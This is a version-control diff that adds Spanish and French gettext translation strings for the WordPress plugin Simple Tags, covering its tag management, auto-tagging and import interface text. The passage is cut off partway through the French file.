+#: /2.7/inc/simple-tags.admin.php:1310
+msgid "Tags (Simple Tags)"
+msgstr "Etiquetas (Simple Tags)"
+
+# C:\SVN\ST
+#: /2.7/inc/simple-tags.admin.php:1317
+msgid "Separate tags with commas"
+msgstr "Separa las etiquetas con comas"
+
+# F:\SVN\ST
+#: /2.7/inc/simple-tags.admin.php:1664
+#: /2.7/inc/simple-tags.admin.php:1669
+msgid "Click tags"
+msgstr "Etiquetas a un clic"
+
+#: /2.7/inc/simple-tags.admin.php:1673
+#: /2.7/inc/simple-tags.admin.php:1702
+msgid "This feature works only with activated JavaScript. Activate it in your Web browser so you can!"
+msgstr "Esta funciÃ³n funciona sÃ³lo con JavaScript activado. Â¡ActÃ­valo en tu navegador para que puedas!"
+
+#: /2.7/inc/simple-tags.admin.php:1681
+msgid "Ajax loading"
+msgstr "Carga Ajax"
+
+# C:\SVN\ST
+#: /2.7/inc/simple-tags.admin.php:1691
+#: /2.7/inc/simple-tags.admin.php:1696
+msgid "Suggested tags"
+msgstr "Etiquetas sugeridas"
+
+# C:\SVN\ST
+#: /2.7/inc/simple-tags.admin.php:1889
+#: /2.7/inc/simple-tags.admin.php:1946
+#: /2.7/inc/simple-tags.admin.php:2013
+#: /2.7/inc/simple-tags.admin.php:2054
+msgid "No text was sent."
+msgstr "No se enviÃ³ texto."
+
+#: /2.7/inc/simple-tags.admin.php:1915
+msgid "No results from Yahoo! service."
+msgstr "No hay resultados del servicio Yahoo!."
+
+#: /2.7/inc/simple-tags.admin.php:1965
+msgid "No results from Tag The Net service."
+msgstr "No hay resultados del servicio Tag The Net."
+
+#: /2.7/inc/simple-tags.admin.php:2004
+msgid "No tags in your WordPress database."
+msgstr "No hay etiquetas en tu base de datos de WordPress."
+
+#: /2.7/inc/simple-tags.admin.php:2027
+#: /2.7/inc/simple-tags.admin.php:2068
+msgid "No results from your WordPress database."
+msgstr "No hay resultados de tu base de datos de WordPress."
+
+# C:\SVN\ST
+#: /2.7/inc/simple-tags.admin.php:2114
+#, php-format
+msgid "&copy; Copyright 2008 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | Version %s"
+msgstr "&copy; Copyright 2008 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | Version %s | TraducciÃ³n por <a href=\"http://agamum.net/blog/\" title=\"Agamum.net\">Samuel Aguilera</a>"
+
+# C:\SVN\ST
+#: /2.7/inc/simple-tags.admin.php:2210
+msgid "Auto link"
+msgstr "Autoenlace"
+
+# C:\SVN\ST
+#: /extras/simple-tags.importer.php:57
+msgid "Import Embedded Tags"
+msgstr "Importar etiquetas incrustadas"
+
+# C:\SVN\ST
+#: /extras/simple-tags.importer.php:58
+msgid "Steps may take a few minutes depending on the size of your database. Please be patient."
+msgstr "Los pasos pueden llevar unos pocos minutos dependiendo del tamaÃ±o de tu base de datos. Por favor ten paciencia."
+
+# C:\SVN\ST
+#: /extras/simple-tags.importer.php:59
+msgid "Visit the <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "Visita la <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags\">pÃ¡gina del plugin</a> para mÃ¡s detalles. Si encuentras un fallo, o tienes una idea fantÃ¡stica para este plugin, Â¡<a href=\"mailto:amaury@wordpress-fr.net\">consÃºltame</a>!"
+
+# C:\SVN\ST
+#: /extras/simple-tags.importer.php:68
+msgid "Howdy! This imports tags from embedded tags into this blog using the new WordPress native tagging structure."
+msgstr "Â¡Hey!. Esto importa etiquetas incrustadas de Embedded Tags de este blog usando la nueva estructura nativa de etiquetado de WordPress."
+
+# C:\SVN\ST
+#: /extras/simple-tags.importer.php:69
+msgid "To accommodate larger databases for those tag-crazy authors out there, we have made this into an easy 4-step program to help you kick that nasty Embedded Tags habit. Just keep clicking along and we will let you know when you are in the clear!"
+msgstr "Para acomodar grandes bases de datos para esos autores obsesionados con las etiquetas que hay por ahÃ­, hemos convertido esto en un sencillo programa de 4 pasos para ayudarte a patear ese mal hÃ¡bito de Embedded Tags. Â¡Simplemente sigue haciendo clic y te haremos saber cuando has terminado!."
+
+# C:\SVN\ST
+#: /extras/simple-tags.importer.php:70
+msgid "Don&#8217;t be stupid - backup your database before proceeding!"
+msgstr "Â¡No seas estÃºpido - haz una copia de seguridad de tu base de datos antes de continuar!"
+
+# C:\SVN\ST
+#: /extras/simple-tags.importer.php:72
+msgid "Step 1 &raquo;"
+msgstr "Paso 1 &raquo;"
+
+# C:\SVN\ST
+#: /extras/simple-tags.importer.php:95
+msgid "Missing parameters in URL. (Start or End)"
+msgstr "Faltan parÃ¡metros en la URL. (Comienzo o final)."
+
+# C:\SVN\ST
+#: /extras/simple-tags.importer.php:107
+msgid "Configure and add tags to posts&#8230;"
+msgstr "Configurar y aÃ±adir etiquetas a entradas&#8230;"
+
+# C:\SVN\ST
+#: /extras/simple-tags.importer.php:114
+msgid "Start marker"
+msgstr "Marcador de inicio"
+
+# C:\SVN\ST
+#: /extras/simple-tags.importer.php:117
+msgid "End marker"
+msgstr "Marcador de fin"
+
+# C:\SVN\ST
+#: /extras/simple-tags.importer.php:120
+msgid "Delete embedded tags once imported ?"
+msgstr "Â¿Borrar las etiquetas incrustadas una vez importadas?"
+
+# C:\SVN\ST
+#: /extras/simple-tags.importer.php:122
+msgid "Import also embedded tags from page ?"
+msgstr "Â¿Importar tambiÃ©n las etiquetas incrustadas en las pÃ¡ginas?"
+
+# C:\SVN\ST
+#: /extras/simple-tags.importer.php:125
+msgid "Start import &raquo;"
+msgstr "Comenzar importaciÃ³n &raquo;"
+
+# C:\SVN\ST
+#: /extras/simple-tags.importer.php:180
+msgid "Done!"
+msgstr "Â¡Hecho!"
+
+# C:\SVN\ST
+#: /extras/simple-tags.importer.php:182
+msgid "Step 2 &raquo;"
+msgstr "Paso 2 &raquo;"
+
+# C:\SVN\ST
+#: /extras/simple-tags.importer.php:199
+msgid "Import Complete!"
+msgstr "Â¡ImportaciÃ³n completada!"
+
+# C:\SVN\ST
+#: /extras/simple-tags.importer.php:200
+msgid "OK, so we lied about this being a 4-step program! You&#8217;re done!"
+msgstr "Â¡De acuerdo, mentimos acerca de que esto fuese un programa de 4 pasos!. Â¡Todo listo!."
+
+# C:\SVN\ST
+#: /extras/simple-tags.importer.php:201
+msgid "Now wasn&#8217;t that easy?"
+msgstr "Â¿Y ahora, no era fÃ¡cil?"
+
+# C:\SVN\ST
+#: /extras/simple-tags.importer.php:202
+msgid "You can manage tags now !"
+msgstr "Â¡Ahora puedes gestionar las etiquetas!"
+
+# C:\SVN\ST
+#: /extras/simple-tags.importer.php:242
+msgid "Import Embedded Tags into the new WordPress native tagging structure."
+msgstr "Importar Embedded Tags a la nueva estructura nativa de etiquetado de WordPress."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-fr_FR.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-fr_FR.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-fr_FR.po	(revision 44)
@@ -0,0 +1,2300 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Simple Tags\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-12-20 00:22+0100\n"
+"PO-Revision-Date: 2008-12-20 00:28+0100\n"
+"Last-Translator: Amaury BALMER <amaury@wordpress-fr.net>\n"
+"Language-Team: Here With Me <amaury@wordpress-fr.net>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-KeywordsList: _e;_c;__\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-Language: French\n"
+"X-Poedit-Country: FRANCE\n"
+"X-Poedit-SearchPath-0: C:\\SVN\\ST WP.org\\trunk\n"
+
+#: /simple-tags.php:52
+msgid "Simple Tags can't work with this WordPress version !"
+msgstr "Simple Tags ne peut pas fonctionner avec cette version de WordPress !"
+
+#, php-format
+msgid "You must use <a href=\"%1$s\">Simple Tagging Plugin</a> for it to work."
+msgstr "Vous devez utiliser le plugin <a href=\"%1$s\">Simple Tagging</a> pour que cele fonctionne."
+
+#: /2.3/simple-tags.client.php:87
+#: /2.3/simple-tags.client.php:555
+#: /2.5/simple-tags.client.php:86
+#: /2.5/simple-tags.client.php:554
+#: /2.7/simple-tags.client.php:88
+#: /2.7/simple-tags.client.php:566
+msgid "No related posts."
+msgstr "Aucun article relatif."
+
+#: /2.3/simple-tags.client.php:88
+#: /2.3/simple-tags.client.php:554
+#: /2.5/simple-tags.client.php:87
+#: /2.5/simple-tags.client.php:553
+#: /2.7/simple-tags.client.php:89
+#: /2.7/simple-tags.client.php:565
+msgid "<h4>Related posts</h4>"
+msgstr "<h4>Articles relatifs</h4>"
+
+#: /2.3/simple-tags.client.php:89
+#: /2.3/simple-tags.client.php:557
+#: /2.5/simple-tags.client.php:88
+#: /2.5/simple-tags.client.php:556
+#: /2.7/simple-tags.client.php:90
+#: /2.7/simple-tags.client.php:568
+msgid "<a href=\"%post_permalink%\" title=\"%post_title% (%post_date%)\">%post_title%</a> (%post_comment%)"
+msgstr "<a href=\"%post_permalink%\" title=\"%post_title% (%post_date%)\">%post_title%</a> (%post_comment%)"
+
+#: /2.3/simple-tags.client.php:95
+#: /2.3/simple-tags.client.php:1222
+#: /2.5/simple-tags.client.php:94
+#: /2.5/simple-tags.client.php:1253
+#: /2.7/simple-tags.client.php:96
+#: /2.7/simple-tags.client.php:1265
+msgid "No tags."
+msgstr "Aucun tag."
+
+#: /2.3/simple-tags.client.php:96
+#: /2.3/simple-tags.client.php:1224
+#: /2.5/simple-tags.client.php:95
+#: /2.5/simple-tags.client.php:1255
+#: /2.7/simple-tags.client.php:97
+#: /2.7/simple-tags.client.php:1267
+msgid "<h4>Tag Cloud</h4>"
+msgstr "<h4>Nuage de tags</h4>"
+
+#: /2.3/simple-tags.client.php:98
+#: /2.3/simple-tags.client.php:1223
+#: /2.5/simple-tags.client.php:97
+#: /2.5/simple-tags.client.php:1254
+#: /2.7/simple-tags.client.php:99
+#: /2.7/simple-tags.client.php:1266
+msgid "<a href=\"%tag_link%\" id=\"tag-link-%tag_id%\" class=\"st-tags t%tag_scale%\" title=\"%tag_count% topics\" %tag_rel% style=\"%tag_size% %tag_color%\">%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" id=\"tag-link-%tag_id%\" class=\"st-tags t%tag_scale%\" title=\"%tag_count% articles\" %tag_rel% style=\"%tag_size% %tag_color%\">%tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:110
+#: /2.3/simple-tags.client.php:1439
+#: /2.5/simple-tags.client.php:109
+#: /2.5/simple-tags.client.php:1499
+#: /2.7/simple-tags.client.php:111
+#: /2.7/simple-tags.client.php:1511
+msgid "Tags: "
+msgstr "Tags:"
+
+#: /2.3/simple-tags.client.php:112
+#: /2.3/simple-tags.client.php:1446
+#: /2.5/simple-tags.client.php:1506
+#: /2.7/simple-tags.client.php:1518
+msgid "No tag for this post."
+msgstr "Aucun tag pour cet article."
+
+#: /2.3/simple-tags.client.php:115
+#: /2.3/simple-tags.client.php:1445
+#: /2.5/simple-tags.client.php:114
+#: /2.7/simple-tags.client.php:116
+msgid "<a href=\"%tag_link%\" title=\"%tag_name%\" %tag_rel%>%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" title=\"%tag_name%\" %tag_rel%>%tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:123
+#: /2.3/simple-tags.client.php:874
+#: /2.5/simple-tags.client.php:122
+#: /2.5/simple-tags.client.php:904
+#: /2.7/simple-tags.client.php:124
+#: /2.7/simple-tags.client.php:916
+msgid "<h4>Related tags</h4>"
+msgstr "<h4>Tags relatifs</h4>"
+
+#: /2.3/simple-tags.client.php:124
+#: /2.3/simple-tags.client.php:875
+#: /2.5/simple-tags.client.php:905
+#: /2.7/simple-tags.client.php:917
+msgid "No related tag found."
+msgstr "Aucun tag relatif trouvÃ©."
+
+#: /2.3/simple-tags.client.php:125
+#: /2.5/simple-tags.client.php:124
+#: /2.7/simple-tags.client.php:126
+msgid "<span>%tag_count%</span> <a href=\"%tag_link_add%\">+</a> <a href=\"%tag_link%\">%tag_name%</a>"
+msgstr "<span>%tag_count%</span> <a href=\"%tag_link_add%\">+</a> <a href=\"%tag_link%\">%tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:130
+#: /2.5/simple-tags.client.php:129
+#: /2.7/simple-tags.client.php:131
+msgid "&raquo; <a href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "&raquo; <a href=\"%tag_link_remove%\" title=\"Supprimer %tag_name_attribute% from search\">Supprimer %tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:272
+#: /2.5/simple-tags.client.php:266
+#: /2.7/simple-tags.client.php:278
+#, php-format
+msgid "Posts tagged with %s"
+msgstr "Voir les articles taggÃ©s avec %s"
+
+#: /2.3/simple-tags.client.php:786
+#: /2.5/simple-tags.client.php:825
+#: /2.7/simple-tags.client.php:837
+msgid "There is no excerpt because this is a protected post."
+msgstr "Il n'y a pas d'extrait car ceci est un article protÃ©gÃ©."
+
+#: /2.3/simple-tags.client.php:876
+#: /2.5/simple-tags.client.php:906
+#: /2.7/simple-tags.client.php:918
+msgid "<span>%tag_count%</span> <a %tag_rel% href=\"%tag_link_add%\">+</a> <a %tag_rel% href=\"%tag_link%\" title=\"See posts with %tag_name_attribute%\">%tag_name%</a>"
+msgstr "<span>%tag_count%</span> <a %tag_rel% href=\"%tag_link_add%\">+</a> <a %tag_rel% href=\"%tag_link%\" title=\"See posts with %tag_name_attribute%\">%tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:1078
+msgid "&raquo; <a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "&raquo; <a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Supprimer %tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:1685
+#: /2.5/simple-tags.client.php:1751
+#: /2.7/simple-tags.client.php:1763
+msgid "Invalid Taxonomy"
+msgstr "Taxinomie invalide."
+
+#: /2.3/inc/simple-tags.admin.php:149
+#: /2.3/inc/simple-tags.admin.php:628
+#: /2.5/inc/simple-tags.admin.php:173
+#: /2.5/inc/simple-tags.admin.php:640
+#: /2.7/inc/simple-tags.admin.php:233
+#: /2.7/inc/simple-tags.admin.php:687
+msgid "Simple Tags: Manage Tags"
+msgstr "Simple Tags: Gestion des tags"
+
+#: /2.3/inc/simple-tags.admin.php:149
+#: /2.5/inc/simple-tags.admin.php:173
+#: /2.7/inc/simple-tags.admin.php:233
+msgid "Manage Tags"
+msgstr " Gestion des tags"
+
+#: /2.3/inc/simple-tags.admin.php:150
+#: /2.3/inc/simple-tags.admin.php:843
+#: /2.5/inc/simple-tags.admin.php:174
+#: /2.7/inc/simple-tags.admin.php:234
+msgid "Simple Tags: Mass Edit Tags"
+msgstr "Simple Tags: Edition en masse de tags"
+
+#: /2.3/inc/simple-tags.admin.php:150
+#: /2.5/inc/simple-tags.admin.php:174
+#: /2.7/inc/simple-tags.admin.php:234
+msgid "Mass Edit Tags"
+msgstr "Edition en masse de tags"
+
+#: /2.3/inc/simple-tags.admin.php:151
+#: /2.3/inc/simple-tags.admin.php:209
+#: /2.5/inc/simple-tags.admin.php:175
+#: /2.7/inc/simple-tags.admin.php:235
+msgid "Simple Tags: Auto Tags"
+msgstr "Simple Tags: Auto Tags"
+
+#: /2.3/inc/simple-tags.admin.php:151
+#: /2.5/inc/simple-tags.admin.php:175
+#: /2.5/inc/simple-tags.admin.php:232
+#: /2.7/inc/simple-tags.admin.php:235
+#: /2.7/inc/simple-tags.admin.php:292
+msgid "Auto Tags"
+msgstr "Auto Tags"
+
+#: /2.3/inc/simple-tags.admin.php:152
+#: /2.3/inc/simple-tags.admin.php:522
+#: /2.5/inc/simple-tags.admin.php:176
+#: /2.5/inc/simple-tags.admin.php:536
+#: /2.7/inc/simple-tags.admin.php:236
+#: /2.7/inc/simple-tags.admin.php:592
+msgid "Simple Tags: Options"
+msgstr "Simple Tags: Options"
+
+#: /2.3/inc/simple-tags.admin.php:152
+#: /2.5/inc/simple-tags.admin.php:176
+#: /2.7/inc/simple-tags.admin.php:236
+msgid "Simple Tags"
+msgstr "Simple Tags"
+
+#: /2.3/inc/simple-tags.admin.php:194
+#: /2.5/inc/simple-tags.admin.php:218
+#: /2.7/inc/simple-tags.admin.php:278
+msgid "Auto tags options updated !"
+msgstr "Les options d'Auto tags sont mise Ã  jour !"
+
+#: /2.3/inc/simple-tags.admin.php:210
+#: /2.3/inc/simple-tags.admin.php:523
+#: /2.3/inc/simple-tags.admin.php:629
+#: /2.3/inc/simple-tags.admin.php:844
+#: /2.5/inc/simple-tags.admin.php:641
+#: /2.7/inc/simple-tags.admin.php:688
+msgid "Visit the <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "Visitez le <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">site internet du plugin</a> pour davantage d'informations. Si vous trouvez un bug, ou avez une idÃ©e fantastique pour ce plugin, <a href=\"mailto:amaury@wordpress-fr.net\">contactez-moi</a> !"
+
+#: /2.3/inc/simple-tags.admin.php:214
+#: /2.5/inc/simple-tags.admin.php:237
+#: /2.7/inc/simple-tags.admin.php:297
+msgid "Auto tags list"
+msgstr "Liste des auto tags"
+
+#: /2.3/inc/simple-tags.admin.php:215
+#: /2.5/inc/simple-tags.admin.php:238
+#: /2.7/inc/simple-tags.admin.php:298
+msgid "This feature allows Wordpress to look into post content and title for specified tags when saving posts. If your post content or title contains the word \"WordPress\" and you have \"wordpress\" in auto tags list, Simple Tags will add automatically \"wordpress\" as tag for this post."
+msgstr "Cette fonctionnalitÃ© autorise WordPress Ã  regarder le contenu et le titre des articles afin d'y trouver des tags spÃ©cifiques lors de la sauvegarde des articles. Si le contenu ou le titre de l'article contient le mot \"WordPress\" et que la liste auto tags contient le mot \"wordpress\", Simple Tags ajoutera automatiquement \"wordpress\" comme tag de l'article."
+
+#: /2.3/inc/simple-tags.admin.php:219
+#: /2.5/inc/simple-tags.admin.php:247
+#: /2.7/inc/simple-tags.admin.php:307
+msgid "Active Auto Tags."
+msgstr "Activer les auto tags."
+
+#: /2.3/inc/simple-tags.admin.php:222
+#: /2.5/inc/simple-tags.admin.php:254
+#: /2.7/inc/simple-tags.admin.php:314
+msgid "Use also local tags database with auto tags. (Warning, this option can increases the CPU consumption a lot if you have many tags)"
+msgstr "Utiliser Ã©galement la base de tags locale pour la fonction de tag automatique. (Attention, cette option peut augmenter la consommation CPU de faÃ§on importante si vous possÃ©dez beaucoup de tags)"
+
+#: /2.3/inc/simple-tags.admin.php:225
+#: /2.5/inc/simple-tags.admin.php:261
+#: /2.7/inc/simple-tags.admin.php:321
+msgid "Autotag only posts without tags."
+msgstr "Tagger automatiquement et uniquement les articles sans tags."
+
+#: /2.3/inc/simple-tags.admin.php:227
+msgid "Keywords list: (separated with a comma)"
+msgstr "Liste des mots clÃ©s: (sÃ©parÃ© avec une virgule)"
+
+#: /2.3/inc/simple-tags.admin.php:233
+msgid "Update list &raquo;"
+msgstr "Mettre Ã  jour la liste &raquo;"
+
+#: /2.3/inc/simple-tags.admin.php:236
+#: /2.5/inc/simple-tags.admin.php:277
+#: /2.7/inc/simple-tags.admin.php:336
+msgid "Auto tags old content"
+msgstr "Tagger automatiquement le contenu existant"
+
+#: /2.3/inc/simple-tags.admin.php:237
+#: /2.5/inc/simple-tags.admin.php:278
+#: /2.7/inc/simple-tags.admin.php:337
+msgid "Simple Tags can also tag all existing contents of your blog. This feature use auto tags list above-mentioned."
+msgstr "Simple Tags permet Ã©galement de tagger automatiquement tout le contenu de votre blog. Cette fonctionnalitÃ© utilise la liste des tags mentionnÃ©s ci-dessus."
+
+#: /2.3/inc/simple-tags.admin.php:238
+msgid "Auto tags all content"
+msgstr "Tagger automatiquement tout le contenu"
+
+#: /2.3/inc/simple-tags.admin.php:259
+#: /2.5/inc/simple-tags.admin.php:303
+#: /2.7/inc/simple-tags.admin.php:362
+#: /extras/simple-tags.importer.php:167
+msgid "If your browser doesn't start loading the next page automatically click this link:"
+msgstr "Si votre navigateur ne lance pas automatiquement la page suivante, cliquer sur ce lien:"
+
+#: /2.3/inc/simple-tags.admin.php:259
+#: /2.5/inc/simple-tags.admin.php:303
+#: /2.7/inc/simple-tags.admin.php:362
+#: /extras/simple-tags.importer.php:167
+msgid "Next content"
+msgstr "Contenu suivant"
+
+#: /2.3/inc/simple-tags.admin.php:271
+msgid "All done!"
+msgstr "TerminÃ© !"
+
+#: /2.3/inc/simple-tags.admin.php:287
+msgid "Include page in tag search:"
+msgstr "Inclure les pages lors d'une recherche de tag:"
+
+#: /2.3/inc/simple-tags.admin.php:288
+msgid "This feature need that option \"Add page in tags management\" is enabled."
+msgstr "Cette fonctionnalitÃ© nÃ©cessite que l'option \"Ajouter les pages dans la gestion des tags\" soit activÃ©e."
+
+#: /2.3/inc/simple-tags.admin.php:289
+#: /2.5/inc/simple-tags.admin.php:334
+#: /2.7/inc/simple-tags.admin.php:393
+msgid "Allow tag cloud in post/page content:"
+msgstr "Autoriser l'insertion de nuage de tags dans le contenu des articles/pages:"
+
+#: /2.3/inc/simple-tags.admin.php:290
+#: /2.5/inc/simple-tags.admin.php:335
+#: /2.7/inc/simple-tags.admin.php:394
+msgid "Enabling this will allow Wordpress to look for tag cloud marker <code>&lt;!--st_tag_cloud--&gt;</code> when displaying posts. WP replace this marker by a tag cloud."
+msgstr "L'activation de cette option permet Ã  WordPress de regarder dans le contenu des articles Ã  la recherche du marqueur <code>&lt;!--st_tag_cloud--&gt;</code>. S'il existe, il sera automatiquement remplacÃ© par un nuage de tags."
+
+#: /2.3/inc/simple-tags.admin.php:291
+#: /2.5/inc/simple-tags.admin.php:336
+#: /2.7/inc/simple-tags.admin.php:407
+msgid "Active auto link tags into post content:"
+msgstr "Activer la crÃ©ation automatique de liens dans le contenu des articles:"
+
+#: /2.3/inc/simple-tags.admin.php:292
+#: /2.5/inc/simple-tags.admin.php:337
+#: /2.7/inc/simple-tags.admin.php:408
+msgid "Example: You have a tag called \"WordPress\" and your post content contains \"wordpress\", this feature will replace \"wordpress\" by a link to \"wordpress\" tags page. (http://myblog.net/tag/wordpress/)"
+msgstr "Exemple: Vous avez un tag nommÃ© \"WordPress\" et le contenu de votre article contient le mot \"wordpress\", cette fonctionnalitÃ© remplacera le mot \"wordpress\" par un lien \"wordpress\" pointant sur la page du tag. (http://monblog.net/tag/wordpress/)"
+
+#: /2.3/inc/simple-tags.admin.php:293
+#: /2.5/inc/simple-tags.admin.php:338
+#: /2.7/inc/simple-tags.admin.php:409
+msgid "Min usage for auto link tags:"
+msgstr "Utilisation minimale pour la crÃ©ation automatique de liens des tags:"
+
+#: /2.3/inc/simple-tags.admin.php:294
+#: /2.5/inc/simple-tags.admin.php:339
+#: /2.7/inc/simple-tags.admin.php:410
+msgid "This parameter allows to fix a minimal value of use of tags. Default: 1."
+msgstr "Ce paramÃštre permet de fixer une valeur minimale d'utilisation des tags. DÃ©faut: 1."
+
+#: /2.3/inc/simple-tags.admin.php:295
+#: /2.5/inc/simple-tags.admin.php:340
+#: /2.7/inc/simple-tags.admin.php:413
+msgid "Ignore case for auto link feature ?"
+msgstr "Ignorer la casse lors de la crÃ©ation automatique de liens des tags:"
+
+#: /2.3/inc/simple-tags.admin.php:296
+#: /2.5/inc/simple-tags.admin.php:341
+#: /2.7/inc/simple-tags.admin.php:414
+msgid "Example: If you ignore case, auto link feature will replace the word \"wordpress\" by the tag link \"WordPress\"."
+msgstr "Exemple: Si vous ignorez la casse, la crÃ©ation automatique de liens des tags remplacera le mot \"wordpress\" par le lien du tag \"WordPress\"."
+
+#: /2.3/inc/simple-tags.admin.php:297
+#: /2.5/inc/simple-tags.admin.php:342
+#: /2.7/inc/simple-tags.admin.php:395
+msgid "Add the rel=\"nofollow\" on each tags link ?"
+msgstr "Ajouter le rel=\"nofollow\" sur chaque lien de tags ?"
+
+#: /2.3/inc/simple-tags.admin.php:298
+#: /2.5/inc/simple-tags.admin.php:343
+#: /2.7/inc/simple-tags.admin.php:396
+msgid "Nofollow is a non-standard HTML attribute value used to instruct search engines that a hyperlink should not influence the link target's ranking in the search engine's index."
+msgstr "En ajoutant rel=\"nofollow\" Ã  un hyperlien, une page indique que la destination de cet hyperlien NE DEVRAIT PAS ETRE chargÃ©e de quelque poids supplÃ©mentaire ou de classement par les agents utilisateur qui exÃ©cutent de l'analyse de lien sur les pages web (par ex. les moteurs de recherche)."
+
+#: /2.3/inc/simple-tags.admin.php:301
+msgid "Add page in tags management:"
+msgstr "Ajouter les pages dans la gestion des tags:"
+
+#: /2.3/inc/simple-tags.admin.php:302
+msgid "Add a tag input (and tag posts features) in page edition"
+msgstr "Ajouter le champ tag (ainsi que les fonctionnalitÃ©s spÃ©cifiques des articles) lors de l'Ã©dition des pages"
+
+#: /2.3/inc/simple-tags.admin.php:303
+#: /2.5/inc/simple-tags.admin.php:346
+#: /2.7/inc/simple-tags.admin.php:399
+msgid "Activate click tags feature:"
+msgstr "Activer la fonctionnalitÃ© Clic Tags"
+
+#: /2.3/inc/simple-tags.admin.php:304
+#: /2.5/inc/simple-tags.admin.php:347
+#: /2.7/inc/simple-tags.admin.php:400
+msgid "This feature add a link allowing you to display all the tags of your database. Once displayed, you can click over to add tags to post."
+msgstr "Cette fonctionnalitÃ© ajoute un lien vous permettant d'afficher tous les tags de votre base de donnÃ©es. Une fois affichÃ©s, vous pouvez cliquer sur les tags pour les ajouter Ã  l'article."
+
+#: /2.3/inc/simple-tags.admin.php:305
+#: /2.5/inc/simple-tags.admin.php:348
+#: /2.7/inc/simple-tags.admin.php:401
+msgid "Activate autocompletion feature:"
+msgstr "Activer la fonction d'autocomplÃ©tion:"
+
+#: /2.3/inc/simple-tags.admin.php:306
+#: /2.5/inc/simple-tags.admin.php:349
+msgid "This feature displays a visual help allowing to enter tags more easily."
+msgstr "Cette fonctionnalitÃ© vous permet d'afficher une aide visuelle vous facilitant la saisie de tags."
+
+#: /2.3/inc/simple-tags.admin.php:307
+#: /2.5/inc/simple-tags.admin.php:350
+#: /2.7/inc/simple-tags.admin.php:403
+msgid "Activate suggested tags feature: (Yahoo! Term Extraction API, Tag The Net, Local DB)"
+msgstr "Activer la fonctionnalitÃ© Tags suggÃ©rÃ©s: (Yahoo! Term Extraction API, Tag The Net, Base local)"
+
+#: /2.3/inc/simple-tags.admin.php:308
+#: /2.5/inc/simple-tags.admin.php:351
+#: /2.7/inc/simple-tags.admin.php:404
+msgid "This feature add a box allowing you get suggested tags, by comparing post content and various sources of tags. (external and internal)"
+msgstr "Cette fonctionnalitÃ© ajoute une rubrique vous permettant de gÃ©nÃ©rer des tags suggerÃ©s, en comparant le contenu de l'articles et diffÃ©rentes sources de tags. (interne comme externe)"
+
+#: /2.3/inc/simple-tags.admin.php:311
+#: /2.5/inc/simple-tags.admin.php:354
+#: /2.7/inc/simple-tags.admin.php:417
+msgid "Automatically include in header:"
+msgstr "Inclure automatiquement les mots clÃ©s:"
+
+#: /2.3/inc/simple-tags.admin.php:312
+msgid "Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines.<br /><strong>Warning:</strong> If the plugin \"All in One SEO Pack\" is installed and enabled. This feature is disabled."
+msgstr "Inclut automatiquement des tags comme mots clÃ©s dans l'entÃªte de votre page (la plupart des thÃšmes supportent cette fonction). Ces mots clÃ©s sont parfois utilisÃ©s par les moteurs de recherche.<br /><strong>Attention:</strong> Si le plugin \"All in One SEO Pack\" est installÃ© et actif. Cette fonctionnalitÃ© est desactivÃ©e."
+
+#: /2.3/inc/simple-tags.admin.php:313
+#: /2.5/inc/simple-tags.admin.php:356
+#: /2.7/inc/simple-tags.admin.php:419
+msgid "Always add these keywords:"
+msgstr "Toujours ajouter les mots clÃ©s suivants:"
+
+#: /2.3/inc/simple-tags.admin.php:314
+#: /2.5/inc/simple-tags.admin.php:357
+#: /2.7/inc/simple-tags.admin.php:420
+msgid "Max keywords display:"
+msgstr "Nombre max de mots clÃ©s Ã  afficher:"
+
+#: /2.3/inc/simple-tags.admin.php:315
+#: /2.5/inc/simple-tags.admin.php:358
+#: /2.7/inc/simple-tags.admin.php:421
+msgid "You must set zero (0) for display all keywords in HTML header."
+msgstr "Vous devez mettre zÃ©ro (0) pour afficher tous les mots clÃ©s dans l'entete HTML."
+
+#: /2.3/inc/simple-tags.admin.php:318
+#: /2.5/inc/simple-tags.admin.php:361
+#: /2.7/inc/simple-tags.admin.php:424
+msgid "Use embedded tags:"
+msgstr "Utiliser les tags embarquÃ©s:"
+
+#: /2.3/inc/simple-tags.admin.php:319
+#: /2.5/inc/simple-tags.admin.php:362
+#: /2.7/inc/simple-tags.admin.php:425
+msgid "Enabling this will allow Wordpress to look for embedded tags when saving and displaying posts. Such set of tags is marked <code>[tags]like this, and this[/tags]</code>, and is added to the post when the post is saved, but does not display on the post."
